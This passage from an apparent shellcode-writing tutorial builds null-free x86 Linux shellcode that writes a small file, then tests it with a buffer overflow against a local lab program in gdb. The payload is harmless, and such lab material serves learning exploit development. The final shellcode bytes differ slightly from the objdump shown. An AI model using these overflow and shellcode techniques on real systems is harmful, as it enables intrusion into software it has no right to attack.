Null-bytes are used as string terminators in the C programming language, and functions such as strcpy() and other string manipulation functions use them as markers to end their copy loops. When a null-byte is encountered, copying stops - preventing the target buffer from overflowing.

  • Arguments are defined in the .data section, this is unstable when crafting shellcode.

The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory, so the shellcode will most likely cause a segmentation fault and crash the target.

c3el4.png
Design changes will need to be made as well as instruction changes in order to remove the nullbytes and fix the string argument problem.

String argument

In this new example, instead of depending on the static definition of the destination path in the .data section, the entire null-terminated string is pushed onto the stack backwards. Then, the stack pointer is moved into the appropriate argument register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed, rather than at an arbitrary label location. Another change is that all the registers that will be used have been zeroed out. It is impossible to predict a register's value at the time of exploitation, thus it is better off to zero them out when started.

 
_start:
 
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx              #xor all the registers to zero them
 
movl $5, %eax                #move open() to eax
pushl $0x0000006c
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f            #push the writing destination backwards in hex onto the stack
movl %esp, %ebx              #move the pointer to the top of the stack to ebx
movl $03101, %ecx            #some file options
movl $0666, %edx             #some file permissions
int $0x80                    #send interrupt to obtain a file descriptor
 
movl %eax, %ebx              #move the file descriptor to ebx for the write() call
movl $4, %eax                #move the write() call to eax
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
movl $12, %edx               #move the size of the text to be written
int $0x80                    #write the text
 
movl $1, %eax                #move exit() to eax
movl $5, %edx                #move the return value of 5 to edx
int $0x80                    #exit
 
  • Create a new objdump of the new code to see what else needs to be fixed:
 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   31 c0                   xor    %eax,%eax
  2:   31 db                   xor    %ebx,%ebx
  4:   31 c9                   xor    %ecx,%ecx
  6:   31 d2                   xor    %edx,%edx
  8:   b8 05 00 00 00          mov    $0x5,%eax
  d:   6a 6c                   push   $0x6c
  f:   68 70 2f 6c 6f          push   $0x6f6c2f70
 14:   68 73 6b 74 6f          push   $0x6f746b73
 19:   68 74 2f 44 65          push   $0x65442f74
 1e:   68 2f 72 6f 6f          push   $0x6f6f722f
 23:   89 e3                   mov    %esp,%ebx
 25:   b9 41 06 00 00          mov    $0x641,%ecx
 2a:   ba b6 01 00 00          mov    $0x1b6,%edx
 2f:   cd 80                   int    $0x80
 31:   89 c3                   mov    %eax,%ebx
 33:   b8 04 00 00 00          mov    $0x4,%eax
 38:   68 6c 6f 6c 00          push   $0x6c6f6c
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   ba 0c 00 00 00          mov    $0xc,%edx
 4e:   cd 80                   int    $0x80
 50:   b8 01 00 00 00          mov    $0x1,%eax
 55:   ba 05 00 00 00          mov    $0x5,%edx
 5a:   cd 80                   int    $0x80


There still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others, such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.

Null-byte removal

This code has now been heavily modified from the original to make it smaller in size, run faster, and remove null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xor, and shift-left or shift-right to put null-bytes back into a string while in memory. An easier technique, which is not shown, is to zero out a register and push it onto the stack to insert your nullbyte then push your hex strings onto the stack. This allows you to easily add a nullbyte without the need for doing any hexadecimal math. Some of the main techniques used here to remove nullbytes are relatively simple simply because the coder is just changing an instruction. An example is before we were using the instruction movl for moving our single byte. This would cause nullbyte padding to be added because the movl instruction moves 4 bytes of data instead of the single byte we needed. To fix this all that needed to be done was to either use the movb instruction or use a push/pop combo, which is highly preferred because when you craft your shellcode correctly it can be converted into an ascii string called ascii_shellcode which allows you to bypass certain filters. Another method is to move our string along with a useless byte of data and shift everything to the right by 1 byte, because of this the useless byte we padded our string with on the right will be knocked off and a new nullbyte will be added on the left of our hex string in memory. Using these techniques allows the shellcode to have no nullbytes, priming it for successful exploitation.


  • First, zero out the ecx and edx registers.
 
_start:
 
xorl %ecx, %ecx
xorl %edx, %edx         #use xor to zero out the registers (removed some not required)
 
  • This is used in stead of movl because it does not generate a null byte.
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
pop %eax                #pop that value into eax
 
  • Push the file destination string to the stack. A pushb is used to ensure that a null byte is read at the end of the string, but is not within the shellcode.
 
pushb $0x6c              #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx         #move out stack pointer
 
  • Using sub-registers the same size as the arguments, use xor to place the appropriate values into %ecx and %edx (after they've been zeroed out).
 
xorw $0x0641, %cx       #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx       #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                        #by using this method of xoring out the nullbytes code size can be reduced as well
			#as remove the null bytes
int $0x80               #execute open()
 
 
  • Moving the file descriptor handle into its register along with moving part of our string onto the stack and back into a register for modification. The string does not have a nullbyte until we shift it to the right by 8 bits (1 byte) bumping off the 0x6a and padding it with a 0x00 on the left.
 
movl %eax, %ebx         #move the file handle into ebx for write()
push $0x04              #push 0x04
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a       #push part of the null terminated hex string onto the stack
pop %ecx                #pop it into ecx for modification
shr $0x08, %ecx         #shift it to the right by 0x08 to put the nullbyte back into the string without
                        #having it directly in the code
 
  • Pushing our nulled string onto the stack along with the rest of our string. The stack pointer to our string is also moved into a register for use.
 
pushl %ecx              #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx         #move the stack pointer to ecx
 
  • Set the size of the string and move it into its register. Save the file descriptor for use later on and execute the system interrupt.
 
push $0xb               #push the size of the stack in hex 
pop %edx                #pop it back into the proper register
pushl %ebx              #push the file descriptor onto the stack for the next function
int $0x80               #write the file
 
  • Retrieve our file descriptor from the stack and execute a close() system call on the file.
 
pop %ebx                #get the file descriptor back
push $0x06              #push 0x06 to the stack
pop %eax                #pop it into eax for close()
int $0x80               #close the file
 
  • Exit the program with a return value of 5.
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in the register
push $0x05              #push the return value of 5
pop %ebx                #and put it in ebx
int $0x80               #and exit
 
 
_start:
 
xorl %ecx, %ecx
xorl %edx, %edx         #use xor to zero out the registers (removed some not required)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
pop %eax                #pop that value into eax
push $0x6c              #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx         #move out stack pointer
xorw $0x0641, %cx       #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx       #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                        #by using this method of xoring out the nullbytes code size can be reduced as well
			#as remove the null bytes
int $0x80               #execute open()
 
movl %eax, %ebx         #move the file handle into ebx for write()
push $0x04              #push 0x04
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a       #push part of the null terminated hex string onto the stack
pop %ecx                #pop it into ecx for modification
shr $0x08, %ecx         #shift it to the right by 0x08 to put the nullbyte back into the string without
                        #having it directly in the code
pushl %ecx              #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx         #move the stack pointer to ecx
push $0xb               #push the size of the stack in hex 
pop %edx                #pop it back into the proper register
pushl %ebx              #push the file descriptor onto the stack for the next function
int $0x80               #write the file
 
pop %ebx                #get the file descriptor back
push $0x06              #push 0x06 to the stack
pop %eax                #pop it into eax for close()
int $0x80               #close the file
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in the register
push $0x05              #push the return value of 5
pop %ebx                #and put it in ebx
int $0x80               #and exit
 


It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.

 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   31 c9                   xor    %ecx,%ecx
  2:   31 d2                   xor    %edx,%edx
  7:   6a 05                   push   $0x5
  9:   58                      pop    %eax
  a:   6a 6c                   push   $0x6c
  c:   68 70 2f 6c 6f          push   $0x6f6c2f70
 11:   68 73 6b 74 6f          push   $0x6f746b73
 16:   68 74 2f 44 65          push   $0x65442f74
 1b:   68 2f 72 6f 6f          push   $0x6f6f722f
 20:   89 e3                   mov    %esp,%ebx
 22:   66 81 f1 41 06          xor    $0x641,%cx
 27:   66 81 f2 b6 01          xor    $0x1b6,%dx
 2c:   cd 80                   int    $0x80
 2e:   89 c3                   mov    %eax,%ebx
 30:   6a 04                   push   $0x4
 32:   58                      pop    %eax
 33:   68 6a 6c 6f 6c          push   $0x6c6f6c6a
 38:   59                      pop    %ecx
 39:   c1 e9 08                shr    $0x8,%ecx
 3c:   51                      push   %ecx
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   6a 0b                   push   $0xb
 4b:   5a                      pop    %edx
 4c:   53                      push   %ebx
 4d:   cd 80                   int    $0x80
 4f:   5b                      pop    %ebx
 50:   6a 06                   push   $0x6
 52:   58                      pop    %eax
 53:   cd 80                   int    $0x80
 55:   6a 01                   push   $0x1
 57:   58                      pop    %eax
 58:   6a 05                   push   $0x5
 5a:   5b                      pop    %ebx
 5b:   cd 80                   int    $0x80
 

Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.

  • This is what the final shellcode will look like. It is 93 bytes long, and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.
\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58
\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80

Successful overflow test

  • This shellcode was tested using bof.c on a 32-bit system.

To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.


 root@ducks:~/Desktop# gdb -q ./bof
 Reading symbols from /root/Desktop/bof...done.
 (gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 Program exited with code 05.
 (gdb)


RPU0j.png When using perl or ruby to test this shellcode with an exploit from the command-line, it requires double quotations around the entire command, or it will output \x20 as a whitespace character and the shellcode will be divided up as separate command-line arguments, preventing the buffer from overflowing.